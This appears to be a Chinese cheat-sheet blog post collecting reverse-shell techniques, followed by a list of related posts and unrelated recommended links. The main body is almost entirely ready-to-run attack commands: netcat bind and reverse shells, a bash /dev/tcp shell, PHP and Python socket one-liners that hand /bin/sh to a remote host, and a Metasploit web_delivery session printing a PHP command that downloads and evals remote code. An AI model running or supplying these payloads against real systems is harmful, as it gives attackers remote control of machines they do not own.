1、NC反弹shell

1.1、正向反弹shell

服务器

nc -lvvp 7777 -e /bin/bash

攻击机

nc  server-ip 7777

1.2、反向反弹shell

攻击机

nc -lvvp 7777

服务器

nc -e /bin/bash Client-ip 7777

1.3、不带-e反弹:

2、 bash反弹shell

2.1 bash -i

攻击机

nc -lvvp 7777

服务器

bash -i >& /dev/tcp/Client-IP/7777 0>&1

3、PHP反弹shell

3.1  php -r

php -r '$sock=fsockopen("192.168.118.128",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

进行url编码:

4、python反弹

4.1、python -c

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.118.128",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.118.128",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

5、metasploit

5.1、web_delivery

use exploit/multi/script/web_delivery

msf > use exploit/multi/script/web_delivery
msf exploit(web_delivery) > set target 1
target => 1
msf exploit(web_delivery) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(web_delivery) > set lhost 192.168.118.128
lhost => 192.168.118.128
msf exploit(web_delivery) > set lport 6666
lport => 6666
msf exploit(web_delivery) > set SRVPORT 8888
SRVPORT => 8888
msf exploit(web_delivery) > run
[*] Exploit running as background job. [*] Started reverse TCP handler on 192.168.118.128:6666
[*] Using URL: http://0.0.0.0:8888/mDIK5UGRA8Qs76
[*] Local IP: http://192.168.118.128:8888/mDIK5UGRA8Qs76
[*] Server started.
[*] Run the following command on the target machine:
php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.118.128:8888/mDIK5UGRA8Qs76'));"

反弹Shell小结的更多相关文章

  1. 【技术分享】linux各种一句话反弹shell总结——攻击者指定服务端,受害者主机(无公网IP)主动连接攻击者的服务端程序(CC server),开启一个shell交互,就叫反弹shell。

    反弹shell背景: 想要搞清楚这个问题,首先要搞清楚什么是反弹,为什么要反弹.假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规 ...

  2. Linux下反弹shell的种种方式

    [前言:在乌云社区看到反弹shell的几种姿势,看过之余自己还收集了一些,动手试了下,仅供参考] 0x01 Bash bash -i >& /dev/tcp/ >& 这里s ...

  3. 内网渗透中的反弹Shell与端口转发

    from:https://www.91ri.org/9367.html Web渗透中的反弹Shell与端口转发 php需未禁用exec函数一:生成php反弹脚本msf > msfpayload ...

  4. NC / Netcat - 反弹Shell

    原理 实验环境: 攻击机:windows机器,IP:192.168.12.109 受害机:linux机器,IP:192.168.79.1 攻击机:设置本地监听端口2222 C:\netcat>n ...

  5. 小白日记40:kali渗透测试之Web渗透-SQL手工注入(二)-读取文件、写入文件、反弹shell

    SQL手工注入 1.读取文件[load_file函数] ' union  SELECT null,load_file('/etc/passwd')--+ burpsuite 2.写入文件 ' unio ...

  6. linux反弹shell

    参考链接 http://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html http://www.waitalone.cn/linux-s ...

  7. python shell与反弹shell

    python shell与反弹shell 正常shell需要先在攻击端开机情况下开启程序,然后攻击端运行程序,才能连接 反弹shell,攻击端是服务端,被攻击端是客户端正常shell,攻击端是客户端, ...

  8. linux下反弹shell

    01 前言 CTF中一些命令执行的题目需要反弹shell,于是solo一波. 02 环境 win10      192.168.43.151       监听端    装有nc kali        ...

  9. golang写的反弹shell(自作孽不可活,切记,切记!)

    仅作安全研究 package main import ( "os/exec" "go-pop3" "log" "strings&q ...

随机推荐

  1. Linux CentOS修改网卡IP/网关设置

    1. 修改对应网卡IP的配置文件 修改以下内容 2. 修改对应网卡的网关的配置文件 vi /etc/sysconfig/network 修改以下内容 3. CentOS 修改DNS 修改以下内容 4. ...

  2. linux 使用systemctl 启动服务报错: Error: No space left on device

    By default, Linux only allocates 8192 watches for inotify, which is ridiculously low. And when it ru ...

  3. 存储过程返回update结果集和insert主键

    update teacher set name ='111' where id in(286,289);print @@rowcount;--或select将查出,是@@rowcount,不是@row ...

  4. 6-Ubuntu与Windows不能相互复制

    在安装Ubuntu系统后发现与Windows系统的文件不能相互复制,网上查了很多教程,发现都是不能用的,能实现的方法如下所示: 第一步: sudo apt-get autoremove open-vm ...

  5. ROS launch启动文件的理解与编写

    博客参考:https://blog.csdn.net/weixin_41995979/article/details/81784987 和 https://www.cnblogs.com/zjiaxi ...

  6. PhpStorm (强大的PHP开发环境)2017.3.2 附注册方法

    最新版PhpStorm 2017正式版改进了PHP 7支持,改进代码完成功能. PhpStorm 是最好的PHP开发工具,使用它进行PHP开发将会让你感觉到编程的乐趣. 快乐无极终于从oschina看 ...

  7. Laravel/Homestead storage:link -> symlink(): Protocol error

    I'm trying to run the following artisan command: php artisan storage:link I get this error: [ErrorEx ...

  8. VMware workstation 语言包切换

    VMware-workstation-full-10.0.2-1744117安装默认为中文版,如果要使用英文版做如下操作: 找到你的VMware安装目录:例如:D:\Program Files (x8 ...

  9. [Training Video - 1] [Selenium Basics] [Xpath Selenium]

    FirePath Press F12, you will see :

  10. [Training Video - 1] [Selenium Basics] [What is Selenium]

    What is Selenium? Browser Automation Testings Tool: Mozilla IE 6,7,8 Google Chrome Opera 8,9,10 Safa ...